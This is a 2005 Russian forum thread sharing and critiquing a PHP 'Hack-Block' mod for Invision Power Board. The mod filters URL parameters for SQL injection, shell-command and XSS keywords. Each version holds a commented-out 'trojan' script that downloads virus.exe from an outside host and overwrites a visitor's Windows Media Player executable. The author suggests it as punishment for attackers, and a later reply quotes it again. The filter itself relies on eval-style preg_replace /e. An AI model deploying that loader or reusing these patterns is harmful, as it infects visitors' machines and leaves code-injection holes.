Перейти к контенту

Security Update v1.0


Рекомендуемые сообщения

Скрипт можно запихнуть в отдельный файлик и присоединить в самое начало index.php (ipb 2.x) или др исполняемых .php файлов ipb.

 

<?
/*
+--------------------------------------------------------------------------
|   Invision Power Board ® Hack-Block ©
|   ========================================
|   by X-Cray [/Morozoff Denis/]
|   © 2005
|   ========================================
|   Version: $1.0
|   Time: Tue, 14 jun 2005
|   Programmed by X-Cray [/Morozoff Denis/]
|   Email: x-cr@x-cr.org
+---------------------------------------------------------------------------
|   IPB Hack-Block IS FREE SOFTWARE
+--------------------------------------------------------------------------
*/

//****************//
//Just a message..//
function diem()
{
//also, you can add trojan :)//
/* Like:
echo ('
<script language=javascript>
var x=new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://domain/virus.exe", 0);
x.Send();
var s= new ActiveXObject("ADODB.Stream");
s.Mode=3;
s.Type=1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href="mms://";
</script>
);

... or just e-mail notification:
@mail('admin@forum.ru', 'hack!', 'hack!');
*/
die ('<prE>
      U-stamp '.time().'; 
      T-stamp '.date('d/m/Y H.i.s').'; 
      IP '.getenv("REMOTE_ADDR").'; 
      Hack attempt blocked. <i>Thank you. [/X-Cray/]</i>
      </pre>');
}
//********************************************//



//**********************************************//
//Let`s check our GET variables for hack-queries//
//**********************************************//
global $_GET;
function full_check($str)
{
$str = strtolower($str); //
$i=0;
do
{
//**************//
//sql injections//
//**************//

//FROM/UNION - query
if ( (strpos($str, 'from') || strpos($str, 'union')) &&
    (strpos($str, 'concat') || strpos($str, 'implode') || strpos($str, 'union') || strpos($str, 'select') ||
    strpos($str, 'member') || strpos($str, 'login') || strpos($str, '*')))
             $i=1;
//TRUNCATE - query
if ( (strpos($str, 'truncate')) &&
    (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//DELETE - query
if (  strpos($str, 'delete') &&
    (strpos($str, 'from') || strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//SET/UPDATE - query
if ( (strpos($str, 'update') || strpos($str, 'set')) &&
    (strpos($str, 'set') || strpos($str, '=')))
             $i=1;

//HAVING - query-addition
if ( (strpos($str, 'having')) &&
    (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//*************//
//bash commands//
//*************//

if ( (strpos($str, "'") || strpos($str, "..") || strpos($str, "./") || strpos($str, "/.") || strpos($str, "\"")) &&
    (strpos($str, "cat") || strpos($str, "cd") || strpos($str, "rm") || strpos($str, "chmod") || strpos($str, "chown")))
             $i=1;

//****************************//
//system/exec/virtual commands//
//****************************//
if ( (strpos($str, "system") || strpos($str, "exec") || strpos($str, "virtual")) &&
     (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
     $i=0;

if ($i==1) diem ();
}
while ((urldecode($str)!=$str) && ($str=strtolower(urldecode($str))));
}

reset($_GET);

while (list($key, $val)=each($_GET))
full_check($val);

//*************************//
//Last GET`checking attempt//
//*************************//
full_check(implode($_GET, ''));
reset($_GET);

//Also, you can check _POST variables
//But it`s not recomended `cause of topic-messages inside.
/*
reset($_POST);

while (list($key, $val)=each($_POST))
full_check($val);

full_check(implode($_POST, ''));
reset($_POST);
*/

//*****************************//
//Now checking for fake cookies//
//*****************************//
global $member_id, $pass_hash;

if (ereg("[^a-z^A-Z^0-9]",$pass_hash))
{
SetCookie('pass_hash', '', time()+3600*24);
diem();
}

if (ereg("[^0-9]",$member_id))
{
SetCookie('member_id', '', time()+3600*24);
diem();
}

//If you know, how to increase speed of this script - send you version on x-cr@x-cr.org
//That`s all folks, thank you.

?>

Ссылка на комментарий
Поделиться на других сайтах

Хм, хакир думаешь? Как сплойт зовется? Не ИФРЕЙМ сразу видно, но наверняка палится.

Насколько мне известно, что тут не все такие дебилы чтоб лоадер с вирем себе на сайт вешать.

Ссылка на комментарий
Поделиться на других сайтах

xcray, это, я думаю, лучше было запостить тут: Как защитить форум от взлома? - или же тут: Уязвимости форумов Invision Power Board

... и дать на оценочку GiV'у))) - чтобы точно знать, Security Update это или же нет ;)

 

P.S.: Лучше бы поправели copyright'ик на своем форуме, а то это не есть good:

Лицензионная версия форума предоставлена by Invision Power Board 2.0.3 специально для РГТУ МАТИ .инфо

... когдай-то они Вам успели предоставить лицензионную версию? :D

Ссылка на комментарий
Поделиться на других сайтах

Хм, хакир думаешь? Как сплойт зовется? Не ИФРЕЙМ сразу видно, но наверняка палится.

Насколько мне известно, что тут не все такие дебилы чтоб лоадер с вирем себе на сайт вешать.

это не сплойт, это реально метод защиты, но он может срабатывать ложно это 1) и 2) он не предлагает полной безопасности (остается XSS), если знать что стоит такой мод то можно просто сделать ДоС отсылая ему гетом с шелла как бы опасные запросы GET.

В общем решать самим, но реально пользы от такой защиты я особо не вижу, так как в основном уязвимости XSS, в 2-ке SQL Injections редкость, большая редкость...

Ссылка на комментарий
Поделиться на других сайтах

Мод должен проверять все GET запросы на содержание SQL-инъекций или специальных команд типа cat, rm, chmod.

 

Понимаю, особой защиты для 2.x он не дает, а вот тем, кто ниже, а также тем, кто на phpBB и т.д. он подойдет для защиты от огромного числа "дебилов", нагло проверяющих методики взлома с античатов на первых попавшихся форумах )

ЗЫ для тех, кого смутил аплоадер трояна - это лишь демка, как можно "наказать" одного из этих "дебилов", к тому же она запечатана коментариями.

 

В любом случае - спасибо за комменты.

ЗЫ-2, а как можно уменьшить потребление ресурсов данного мода, какие функции поменять на более быстродействующие?:

Версия 1.5

 

Обновил версию, убрал возможность перенагрузки скрипта GET запросом, добавлена проверка на XSS вторжение.

 

Жду мнений

 

<?
/*
+--------------------------------------------------------------------------
|   Invision Power Board ® Hack-Block ©
|   ========================================
|   by X-Cray [/Morozoff Denis/]
|   © 2005
|   ========================================
|   Version: $1.5 //XSS security included
|   Time: Tue, 15 jun 2005
|   Programmed by X-Cray [/Morozoff Denis/]
|   Email: x-cr@x-cr.org
+---------------------------------------------------------------------------
|   IPB Hack-Block IS FREE SOFTWARE
+--------------------------------------------------------------------------
*/

//****************//
//Just a message..//
function diem()
{
//also, you can add trojan :)//
/* Like:
echo ('
<script language=javascript>
var x=new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://domain/virus.exe", 0);
x.Send();
var s= new ActiveXObject("ADODB.Stream");
s.Mode=3;
s.Type=1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href="mms://";
</script>
);

... or just add e-mail notification:
@mail('admin@forum.ru', 'hack!', 'hack!');
*/
die ('<prE>
      U-stamp '.time().'; 
      T-stamp '.date('d/m/Y H.i.s').'; 
      IP '.getenv("REMOTE_ADDR").'; 
      Hack attempt blocked. <i>Thank you. [/X-Cray/]</i>
      </pre>');
}
//********************************************//



//**********************************************//
//Let`s check our GET variables for hack-queries//
//**********************************************//
global $_GET;
function full_check($str)
{
if (strlen($str) > 250) //Who have ever seen GET queries in ipb with variables longer than 250 symbols??
diem();
$str = strtolower($str);
$c=0; //urldecode times count.
$i=0;
do
{
//**************//
//sql injections//
//**************//

//FROM/UNION - query
if ( (strpos($str, 'from') || strpos($str, 'union')) &&
    (strpos($str, 'concat') || strpos($str, 'implode') || strpos($str, 'union') || strpos($str, 'select') ||
    strpos($str, 'member') || strpos($str, 'login') || strpos($str, '*')))
             $i=1;
//TRUNCATE - query
if ( (strpos($str, 'truncate')) &&
    (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//DELETE - query
if (  strpos($str, 'delete') &&
    (strpos($str, 'from') || strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//SET/UPDATE - query
if ( (strpos($str, 'update') || strpos($str, 'set')) &&
    (strpos($str, 'set') || strpos($str, '=')))
             $i=1;

//HAVING - query-addition
if ( (strpos($str, 'having')) &&
    (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
             $i=1;

//*************//
//bash commands//
//*************//

if ( (strpos($str, "'") || strpos($str, "..") || strpos($str, "./") || strpos($str, "/.") || strpos($str, "\"")) &&
    (strpos($str, "cat") || strpos($str, "cd") || strpos($str, "rm") || strpos($str, "chmod") || strpos($str, "chown")))
             $i=1;

//****************************//
//system/exec/virtual commands//
//****************************//
if ( (strpos($str, "system") || strpos($str, "exec") || strpos($str, "virtual")) &&
     (strpos($str, '`') || strpos($str, "\'") || strpos($str, ")") || strpos($str, "(")))
     $i=1;

if ($i==1) diem ();
$c++;
if ($c>2) diem(); //if url is encoded more than two times.. I think it`s BAD url
}
while ((urldecode($str)!=$str) && ($str=strtolower(urldecode($str))));
}

reset($_GET);

while (list($key, $val)=each($_GET))
full_check($val);

//*************************//
//Last GET`checking attempt//
//*************************//
full_check(implode($_GET, ''));

//*****************************//
//Now checking for fake cookies//
//*****************************//
global $member_id, $pass_hash;

if (ereg("[^a-z^A-Z^0-9]",$pass_hash))
{
//fake cookie? let`s erase right now!
SetCookie('pass_hash', '', time()+3600*24);
$pass_hash='';
diem();
}

if (ereg("[^0-9]",$member_id))
{
//fake cookie? let`s erase right now!
SetCookie('member_id', '', time()+3600*24);
$member_id='';
diem();
}

//Now, XSS-security check
//XSS can be only in Post, TopicTitle and TopicDesc
//If you`ve modified your forum, add here your variables

$_GET['Post']='';
$_GET['TopicTitle']='';
$_GET['TopicDesc']='';

//If you`ve modified your forum, add your variables here too
if ($_POST['Post']) checkforxss($_POST['Post']);
if ($_POST['TopicTitle']) checkforxss($_POST['TopicTitle']);
if ($_POST['TopicDesc']) checkforxss($_POST['TopicDesc']);

function checkforxss($str)
{

//converint all tags like [tag[tag[tag]]ds] to [tag(tag(tag])ds)
$openedtag=false;
for ($i=0; $i<strlen($str); $i++)
      {
      if ($str[$i]=='[') //Tag is opened
           {
           if ($openedtag) //if we already have opened tag
               $str[$i]='('; //let`s change '[' to '('
           else
               $openedtag=true;
           }
      elseif ($str[$i]==']') //Tag is closed
           {
           if ($openedtag)
                $openedtag=false;
           else
               $str[$i]=')'; //let`s change ']' to ')'
           }
      }
//now, deactive all bad commands
$str=eregi_replace('(javascript)','j avascrip t',$str);
$str=eregi_replace('(script)','s crip t',$str);
$str=eregi_replace('(document.)','d ocumen t.',$str);
$str=eregi_replace('(js)','j s',$str);

//last XSS-security steps. We are deleting all bad symbols from unsecured tags in two variants
//1. [tag]badsymbols[/tag]
//2. [tag badsymbols[/tag]
$str = preg_replace( "#\[color\](.+?)\[/color\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);
$str = preg_replace( "#\[color(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);
$str = preg_replace( "#\[video(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);
$str = preg_replace( "#\[url(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);
$str = preg_replace( "#\[flash(.+?)\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);

return $str;
}

//All is ok? hm.. let`s reset all received variables and go to the rest of index.php
reset($_GET);
reset($_POST);

//If you know, how to increase speed of this script - send you version on x-cr@x-cr.org
//That`s all folks, thank you.
?>

Ссылка на комментарий
Поделиться на других сайтах

подход интересен...

особено разбор вложенных тэгов, понравился, действительно зачем разрешать тэги внтури первого отвкрывающегося тэга.

 

за идею и реализацию 5 :D

 

по поводу того что ниже //now, deactive all bad commands

это уже в постпарсере реализовано, по сути двойная работа. А регулярки это падение скорости скрипта.

 

Поэтому не вижу смысла вообще этого блока, и в реализации замены типа $str=eregi_replace('(js)','j s',$str); регуляркой в особенности.

 

Нагрузка в конструкции $str = preg_replace( "#\[color\](.+?)\[/color\]#ies", "str_replace(array('`', \"'\", '\\\"', '\\\\'), '', '\\1')", $str);

 

Во-первых массив в реплейсе, во-вторых двойной поиск построке. Если пишем регулярку по замене, то пишем регулярку по замене. В-третьих структура (.+) безопасна изначально, так как не работает с тэгом форматирования, тут замена => <font>, => </font>, а (.+) в тэги никак не попадает.

 

--------------------

 

К возврату с тем что было:

не нужны блоки:

//DELETE - query - потому как не возможно внедрить такой запрос, нет таких мест в IPB где можно вставить запрос полностью.

 

//SET/UPDATE - query - -//-

//HAVING - query-addition - HAVING в общем случае аналог WHERE, все подстановки в IPB идут после WHERE, HAVING после WHERE восприниматься не будет никак.

 

//FROM/UNION - query - единственный блок, который стоило бы контролировать, однако запись его в вашей форме мне не очень нравится, есть что то лишнее.

 

Блок

//*************//

//bash commands//

//*************//

внедрение шелл команд само по себе утопично, потому что в IPB нет работы с системой.

 

Блок

//****************************//

//system/exec/virtual commands//

//****************************//

пережиток Code Injection, сейчас ни один современный скрипт не страдает такой проблемой. Учтем еще что хостинги настроены в основном на запрет таких команд и вообще появляется сомнение в необходимости такой проверки.

 

У меня все.

Ссылка на комментарий
Поделиться на других сайтах

Отлично.

 

Спасибо, все исправил, если еще что-то дописывать буду - выложу.

 

А какие нерасмотренные уязвимости еще есть (у ipb 2.x, старые версии брать уже незачем) ?[1118895377:1118895992]Кстати насчет (.+?)

Уязвимости типа smth.`e= ` вроде еще работают?

Если да, то на это тоже надо написать регулярку.

Ссылка на комментарий
Поделиться на других сайтах

  • 4 недели спустя...

var x=new ActiveXObject("Microsoft.XMLHTTP");x.Open("GET", "http://domain/virus.exe", 0);x.Send();var s= new ActiveXObject("ADODB.Stream");s.Mode=3;s.Type=1;s.Open();s.Write(x.responseBody);s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);

Могу сказать точно что этот кусок закачка файла и замена этим файлом файлы медиаплеера ....

 

надо оно больно:D

Ссылка на комментарий
Поделиться на других сайтах

xcray

> старые версии брать уже незачем

А можно ли тебя с надлежащим почтением :D попросить создать аналогичный апдейт для IPB 1.3 Final? Форумов на этой версии не так уж и мало, и многие из нас не видят смысла переходить на IPB 2.0 по вполне прагматическим причинам.

Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...

Sorry за безответность в теме - лето, отдых, офф-лайн и все такое. ;)

 

Enzain, по поводу замены медиаплеера - это уже личное дело каждого) :D

 

ИМХО, если "хацкер" где-то прочитал "как" и полез ломать твой форум, при этом оставаясь СверхЛамером, не защитившим себя самого от такой подмены плеера на вирус или ему подобное, надо его наказать,)

 

Anna, насчет развития кода: жду новостей от Security Team по поводу новых эксплойтов, каждое существенное изменение буду выкладывать здесь.

 

Diam, да, просто надо позаботиться о том, чтобы код запускался перед обработкой запроса форумом и совпадали все проверяемые переменные.

 

Буду оч. рад получить любую информацию по новым "дыркам" в приват.

Ссылка на комментарий
Поделиться на других сайтах

по поводу медиаплейера, я так в былые времена с пин4ем шалил...

сей4ас все енти шалости ловит даже каспер...

а по поводу самого факта лоадера, тут дело в психологии... дело в том 4то елси я вижу 4то при заходе на форум комне заливаются файлы.. сами понимаете какое отношение к ентому форуму будет у меня

Ссылка на комментарий
Поделиться на других сайтах

  • 2 месяца спустя...

Кстати, насчет кода. Появилась небольшая идея. А что, если убить все переменные, которые не используются в коде?

 

например

 

while (list($key, $val) = each($_GLOBALS)) // ну или $_POST + $_GET
if (проверка имени ($key) на принадлежность к форумским переменнам)
unset($$key);

 

Это уже параноидальная идея,))

Ссылка на комментарий
Поделиться на других сайтах

Кстати, насчет кода. Появилась небольшая идея. А что, если убить все переменные, которые не используются в коде?
:D Зачем??????
Ссылка на комментарий
Поделиться на других сайтах

юзеры говорят:

что я не могу поменять подпись, и что мне выдают ошибку вида:

"Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /home/******/public_html/forum/security.php(193) : regexp code on line 1

 

Fatal error: preg_replace(): Failed evaluating code: str_replace(array('`', "'", '\"', '\'), '', '=black') in /home/******/public_html/forum/security.php on line 193"... mellow.gif

Ссылка на комментарий
Поделиться на других сайтах

  • 2 месяца спустя...

xcray,ты хотел выложить версию с учётом дополнений от GiV.

Прошло уже больше полугода,может разместишь её в архиве ibresource?

И ещё,у меня вопрос:в каком файле лучше делать инклуд:index.php,functions.php,или в обоих файлах сразу?Как лучше всего инклудить?Так:

<?php include("http://сайт.ру/forum/hackblock.php");?>

?

Ссылка на комментарий
Поделиться на других сайтах

  • 1 месяц спустя...

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.